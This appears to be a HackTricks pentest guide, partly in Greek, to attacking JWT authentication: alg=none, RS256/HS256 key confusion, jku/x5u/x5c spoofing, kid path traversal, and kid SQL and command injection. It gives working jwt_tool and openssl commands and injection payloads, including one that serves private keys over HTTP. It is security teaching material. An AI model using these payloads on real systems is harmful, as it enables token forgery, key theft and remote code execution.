28 KiB
JWT Vulnerabilities (Json Web Tokens)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
If you are interested in hacking career and hack the unhackable - we are hiring! (απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά).
{% embed url="https://www.stmcyber.com/careers" %}
Part of this post is based in the awesome post: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Author of the great tool to pentest JWTs https://github.com/ticarpi/jwt_tool
Quick Wins
Run jwt_tool with mode All Tests!
and wait for green lines
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Αν είστε τυχεροί, το εργαλείο θα βρει κάποια περίπτωση όπου η διαδικτυακή εφαρμογή ελέγχει λανθασμένα το JWT:
Τότε, μπορείτε να αναζητήσετε το αίτημα στον μεσολαβητή σας ή να εξάγετε το χρησιμοποιούμενο JWT για εκείνο το αίτημα χρησιμοποιώντας το jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Μπορείτε επίσης να χρησιμοποιήσετε την Burp Extension SignSaboteur για να εκτελέσετε επιθέσεις JWT από το Burp.
Τροποποίηση δεδομένων χωρίς να αλλάξετε τίποτα
Μπορείτε απλά να τροποποιήσετε τα δεδομένα αφήνοντας την υπογραφή ως έχει και να ελέγξετε αν ο διακομιστής ελέγχει την υπογραφή. Δοκιμάστε να αλλάξετε το όνομα χρήστη σας σε "admin" για παράδειγμα.
Ελέγχεται η υπογραφή του token;
Για να ελέγξετε αν η υπογραφή ενός JWT επαληθεύεται:
- Ένα μήνυμα σφάλματος υποδηλώνει ότι η επαλήθευση είναι σε εξέλιξη; ευαίσθητες λεπτομέρειες σε εκτενή σφάλματα θα πρέπει να εξεταστούν.
- Μια αλλαγή στη σελίδα που επιστρέφεται υποδηλώνει επίσης επαλήθευση.
- Καμία αλλαγή υποδηλώνει ότι δεν υπάρχει επαλήθευση; αυτό είναι το σημείο για να πειραματιστείτε με την τροποποίηση των αξιώσεων του payload.
Προέλευση
Είναι σημαντικό να προσδιορίσετε αν το token δημιουργήθηκε από τον διακομιστή ή από τον πελάτη εξετάζοντας το ιστορικό αιτημάτων του proxy.
- Τα tokens που παρατηρούνται πρώτα από την πλευρά του πελάτη υποδηλώνουν ότι το κλειδί μπορεί να είναι εκτεθειμένο σε κώδικα πελάτη, απαιτώντας περαιτέρω έρευνα.
- Τα tokens που προέρχονται από τον διακομιστή υποδηλώνουν μια ασφαλή διαδικασία.
Διάρκεια
Ελέγξτε αν το token διαρκεί περισσότερο από 24 ώρες... ίσως να μην λήξει ποτέ. Αν υπάρχει ένα πεδίο "exp", ελέγξτε αν ο διακομιστής το χειρίζεται σωστά.
Brute-force HMAC μυστικό
Τροποποίηση του αλγορίθμου σε None
Ορίστε τον αλγόριθμο που χρησιμοποιείται ως "None" και αφαιρέστε το μέρος της υπογραφής.
Χρησιμοποιήστε την επέκταση Burp που ονομάζεται "JSON Web Token" για να δοκιμάσετε αυτήν την ευπάθεια και να αλλάξετε διάφορες τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του token. Μπορείτε επίσης να επιλέξετε να θέσετε την τιμή του πεδίου "Alg" σε "None").
Αλλαγή του αλγορίθμου RS256(ασύμμετρο) σε HS256(συμμετρικό) (CVE-2016-5431/CVE-2016-10555)
Ο αλγόριθμος HS256 χρησιμοποιεί το μυστικό κλειδί για να υπογράψει και να επαληθεύσει κάθε μήνυμα.
Ο αλγόριθμος RS256 χρησιμοποιεί το ιδιωτικό κλειδί για να υπογράψει το μήνυμα και χρησιμοποιεί το δημόσιο κλειδί για την αυθεντικοποίηση.
Αν αλλάξετε τον αλγόριθμο από RS256 σε HS256, ο κώδικας του back end χρησιμοποιεί το δημόσιο κλειδί ως το μυστικό κλειδί και στη συνέχεια χρησιμοποιεί τον αλγόριθμο HS256 για να επαληθεύσει την υπογραφή.
Στη συνέχεια, χρησιμοποιώντας το δημόσιο κλειδί και αλλάζοντας το RS256 σε HS256, θα μπορούσαμε να δημιουργήσουμε μια έγκυρη υπογραφή. Μπορείτε να ανακτήσετε το πιστοποιητικό του διακομιστή ιστού εκτελώντας αυτό:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Νέο δημόσιο κλειδί μέσα στην κεφαλίδα
Ένας επιτιθέμενος ενσωματώνει ένα νέο κλειδί στην κεφαλίδα του διακριτικού και ο διακομιστής χρησιμοποιεί αυτό το νέο κλειδί για να επαληθεύσει την υπογραφή (CVE-2018-0114).
Αυτό μπορεί να γίνει με την επέκταση "JSON Web Tokens" του Burp.
(Στείλτε το αίτημα στον Επαναλήπτη, μέσα στην καρτέλα JSON Web Token επιλέξτε "CVE-2018-0114" και στείλτε το αίτημα).
JWKS Spoofing
Οι οδηγίες περιγράφουν μια μέθοδο για την αξιολόγηση της ασφάλειας των JWT διακριτικών, ιδιαίτερα αυτών που χρησιμοποιούν μια δήλωση κεφαλίδας "jku". Αυτή η δήλωση θα πρέπει να συνδέεται με ένα αρχείο JWKS (JSON Web Key Set) που περιέχει το δημόσιο κλειδί που είναι απαραίτητο για την επαλήθευση του διακριτικού.
- Αξιολόγηση Διακριτικών με Κεφαλίδα "jku":
- Επαληθεύστε το URL της δήλωσης "jku" για να διασφαλίσετε ότι οδηγεί στο κατάλληλο αρχείο JWKS.
- Τροποποιήστε την τιμή "jku" του διακριτικού για να κατευθυνθεί προς μια ελεγχόμενη διαδικτυακή υπηρεσία, επιτρέποντας την παρακολούθηση της κίνησης.
- Παρακολούθηση για HTTP Αλληλεπίδραση:
- Η παρακολούθηση των HTTP αιτημάτων προς το καθορισμένο URL σας υποδεικνύει τις προσπάθειες του διακομιστή να ανακτήσει κλειδιά από τον παρεχόμενο σύνδεσμο.
- Όταν χρησιμοποιείτε το
jwt_tool
για αυτή τη διαδικασία, είναι κρίσιμο να ενημερώσετε το αρχείοjwtconf.ini
με την προσωπική σας τοποθεσία JWKS για να διευκολύνετε τη δοκιμή. - Εντολή για
jwt_tool
: - Εκτελέστε την παρακάτω εντολή για να προσομοιώσετε το σενάριο με το
jwt_tool
:
python3 jwt_tool.py JWT_HERE -X s
Επισκόπηση Θεμάτων Kid
Μια προαιρετική δήλωση κεφαλίδας γνωστή ως kid
χρησιμοποιείται για την αναγνώριση ενός συγκεκριμένου κλειδιού, το οποίο γίνεται ιδιαίτερα ζωτικής σημασίας σε περιβάλλοντα όπου υπάρχουν πολλαπλά κλειδιά για την επαλήθευση υπογραφής διακριτικών. Αυτή η δήλωση βοηθά στην επιλογή του κατάλληλου κλειδιού για την επαλήθευση της υπογραφής ενός διακριτικού.
Αποκάλυψη Κλειδιού μέσω "kid"
Όταν η δήλωση kid
είναι παρούσα στην κεφαλίδα, συνιστάται να αναζητήσετε τον διαδικτυακό κατάλογο για το αντίστοιχο αρχείο ή τις παραλλαγές του. Για παράδειγμα, αν καθοριστεί "kid":"key/12345"
, θα πρέπει να αναζητηθούν τα αρχεία /key/12345 και /key/12345.pem στη ρίζα του διαδικτύου.
Διαδρομή Πλοήγησης με "kid"
Η δήλωση kid
μπορεί επίσης να εκμεταλλευτεί για να πλοηγηθεί μέσα στο σύστημα αρχείων, επιτρέποντας ενδεχομένως την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμάσετε τη συνδεσιμότητα ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) τροποποιώντας την τιμή kid
για να στοχεύσετε συγκεκριμένα αρχεία ή υπηρεσίες. Η παραποίηση του JWT για να αλλάξετε την τιμή kid
ενώ διατηρείτε την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας την επιλογή -T
στο jwt_tool, όπως φαίνεται παρακάτω:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space
file in Linux systems, known to contain the value 2, can be used in the kid
parameter with 2 as the symmetric password for JWT generation.
SQL Injection via "kid"
If the kid
claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid
payload. An example payload that uses SQL injection to alter the JWT signing process includes:
non-existent-index' UNION SELECT 'ATTACKER';-- -
This alteration forces the use of a known secret key, ATTACKER
, for JWT signing.
OS Injection through "kid"
A scenario where the kid
parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid
parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.
If the token uses a “jku” Header claim then check out the provided URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
First you need to create a new certificate with new private & public keys.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Στη συνέχεια, μπορείτε να χρησιμοποιήσετε για παράδειγμα jwt.io για να δημιουργήσετε το νέο JWT με τα δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείξετε την παράμετρο jku στο πιστοποιητικό που δημιουργήθηκε. Για να δημιουργήσετε ένα έγκυρο πιστοποιητικό jku, μπορείτε να κατεβάσετε το αρχικό και να αλλάξετε τις απαραίτητες παραμέτρους.
Μπορείτε να αποκτήσετε τις παραμέτρους "e" και "n" από ένα δημόσιο πιστοποιητικό χρησιμοποιώντας:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. Μια URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφής πιστοποιητικού) κωδικοποιημένων σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιείται για την υπογραφή αυτού του JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807. Η μεταφορά ασφάλειας απαιτείται για τη μεταφορά των πιστοποιητικών.
Δοκιμάστε να αλλάξετε αυτή την κεφαλίδα σε μια URL υπό τον έλεγχό σας και ελέγξτε αν ληφθεί οποιοδήποτε αίτημα. Σε αυτή την περίπτωση, θα μπορούσατε να παραποιήσετε το JWT.
Για να κατασκευάσετε ένα νέο διακριτικό χρησιμοποιώντας ένα πιστοποιητικό που ελέγχετε, πρέπει να δημιουργήσετε το πιστοποιητικό και να εξάγετε τα δημόσια και ιδιωτικά κλειδιά:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Τότε μπορείτε να χρησιμοποιήσετε για παράδειγμα jwt.io για να δημιουργήσετε το νέο JWT με τα δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείξετε την παράμετρο x5u στο πιστοποιητικό .crt που δημιουργήθηκε.
Μπορείτε επίσης να εκμεταλλευτείτε και τις δύο αυτές ευπάθειες για SSRFs.
x5c
Αυτή η παράμετρος μπορεί να περιέχει το πιστοποιητικό σε base64:
Εάν ο επιτιθέμενος δημιουργήσει ένα αυτο-υπογεγραμμένο πιστοποιητικό και δημιουργήσει ένα πλαστό token χρησιμοποιώντας το αντίστοιχο ιδιωτικό κλειδί και αντικαταστήσει την τιμή της παραμέτρου "x5c" με το νεοδημιουργηθέν πιστοποιητικό και τροποποιήσει τις άλλες παραμέτρους, δηλαδή n, e και x5t τότε ουσιαστικά το πλαστό token θα γινόταν αποδεκτό από τον διακομιστή.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Ενσωματωμένο Δημόσιο Κλειδί (CVE-2018-0114)
Αν το JWT έχει ενσωματωμένο ένα δημόσιο κλειδί όπως στο παρακάτω σενάριο:
Χρησιμοποιώντας το παρακάτω script nodejs είναι δυνατόν να παραχθεί ένα δημόσιο κλειδί από αυτά τα δεδομένα:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Είναι δυνατόν να δημιουργήσετε ένα νέο ιδιωτικό/δημόσιο κλειδί, να ενσωματώσετε το νέο δημόσιο κλειδί μέσα στο διακριτικό και να το χρησιμοποιήσετε για να δημιουργήσετε μια νέα υπογραφή:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Μπορείτε να αποκτήσετε το "n" και το "e" χρησιμοποιώντας αυτό το σενάριο nodejs:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Τελικά, χρησιμοποιώντας το δημόσιο και ιδιωτικό κλειδί και τις νέες τιμές "n" και "e" μπορείτε να χρησιμοποιήσετε jwt.io για να κατασκευάσετε ένα νέο έγκυρο JWT με οποιαδήποτε πληροφορία.
ES256: Αποκάλυψη του ιδιωτικού κλειδιού με τον ίδιο nonce
Εάν ορισμένες εφαρμογές χρησιμοποιούν ES256 και χρησιμοποιούν τον ίδιο nonce για να δημιουργήσουν δύο jwts, το ιδιωτικό κλειδί μπορεί να αποκατασταθεί.
Εδώ είναι ένα παράδειγμα: ECDSA: Αποκάλυψη του ιδιωτικού κλειδιού, εάν χρησιμοποιηθεί ο ίδιος nonce (με SECP256k1)
JTI (JWT ID)
Η αξίωση JTI (JWT ID) παρέχει έναν μοναδικό αναγνωριστικό για ένα JWT Token. Μπορεί να χρησιμοποιηθεί για να αποτραπεί η επανάληψη του token.
Ωστόσο, φανταστείτε μια κατάσταση όπου το μέγιστο μήκος του ID είναι 4 (0001-9999). Οι αιτήσεις 0001 και 10001 θα χρησιμοποιήσουν το ίδιο ID. Έτσι, εάν το backend αυξάνει το ID σε κάθε αίτηση, θα μπορούσατε να εκμεταλλευτείτε αυτό για να επανεκτελέσετε μια αίτηση (χρειάζεται να στείλετε 10000 αιτήσεις μεταξύ κάθε επιτυχούς επανάληψης).
JWT Καταχωρημένες αξιώσεις
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
Άλλες επιθέσεις
Επιθέσεις Διασύνδεσης Υπηρεσιών
Έχει παρατηρηθεί ότι ορισμένες διαδικτυακές εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, έγινε αποδεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας τρίτης υπηρεσίας, θα πρέπει να διερευνηθεί η δυνατότητα εγγραφής για έναν λογαριασμό σε έναν άλλο πελάτη αυτής της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/email. Στη συνέχεια, θα πρέπει να γίνει μια προσπάθεια επανάληψης του αποκτηθέντος token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται αποδεκτό.
- Ένα κρίσιμο ζήτημα μπορεί να υποδειχθεί από την αποδοχή του token σας, επιτρέποντας ενδεχομένως την παραποίηση οποιουδήποτε λογαριασμού χρήστη. Ωστόσο, θα πρέπει να σημειωθεί ότι μπορεί να απαιτείται άδεια για ευρύτερη δοκιμή εάν εγγραφείτε σε μια τρίτη εφαρμογή, καθώς αυτό θα μπορούσε να εισέλθει σε μια νομική γκρίζα περιοχή.
Έλεγχος Λήξης Tokens
Η λήξη του token ελέγχεται χρησιμοποιώντας την αξίωση "exp" Payload. Δεδομένου ότι τα JWT χρησιμοποιούνται συχνά χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική διαχείριση. Σε πολλές περιπτώσεις, η σύλληψη και η επανάληψη ενός άλλου χρήστη JWT θα μπορούσε να επιτρέψει την ταυτοποίηση αυτού του χρήστη. Το JWT RFC προτείνει την μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας την αξίωση "exp" για να ορίσετε μια ώρα λήξης για το token. Επιπλέον, η εφαρμογή σχετικών ελέγχων από την εφαρμογή για να διασφαλιστεί η επεξεργασία αυτής της τιμής και η απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια αξίωση "exp" και οι χρονικοί περιορισμοί δοκιμών το επιτρέπουν, συνιστάται η αποθήκευση του token και η επανάληψή του μετά την παρέλευση της ώρας λήξης. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης χρονικών σημείων και του ελέγχου λήξης (χρονικό σημείο σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας την επιλογή -R του jwt_tool.
- Ένας κίνδυνος ασφάλειας μπορεί να υπάρχει εάν η εφαρμογή εξακολουθεί να επικυρώνει το token, καθώς αυτό μπορεί να υποδηλώνει ότι το token δεν θα μπορούσε ποτέ να λήξει.
Εργαλεία
{% embed url="https://github.com/ticarpi/jwt_tool" %}
Εάν ενδιαφέρεστε για καριέρα hacking και να χακάρετε το αχάκωτο - προσλαμβάνουμε! (απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.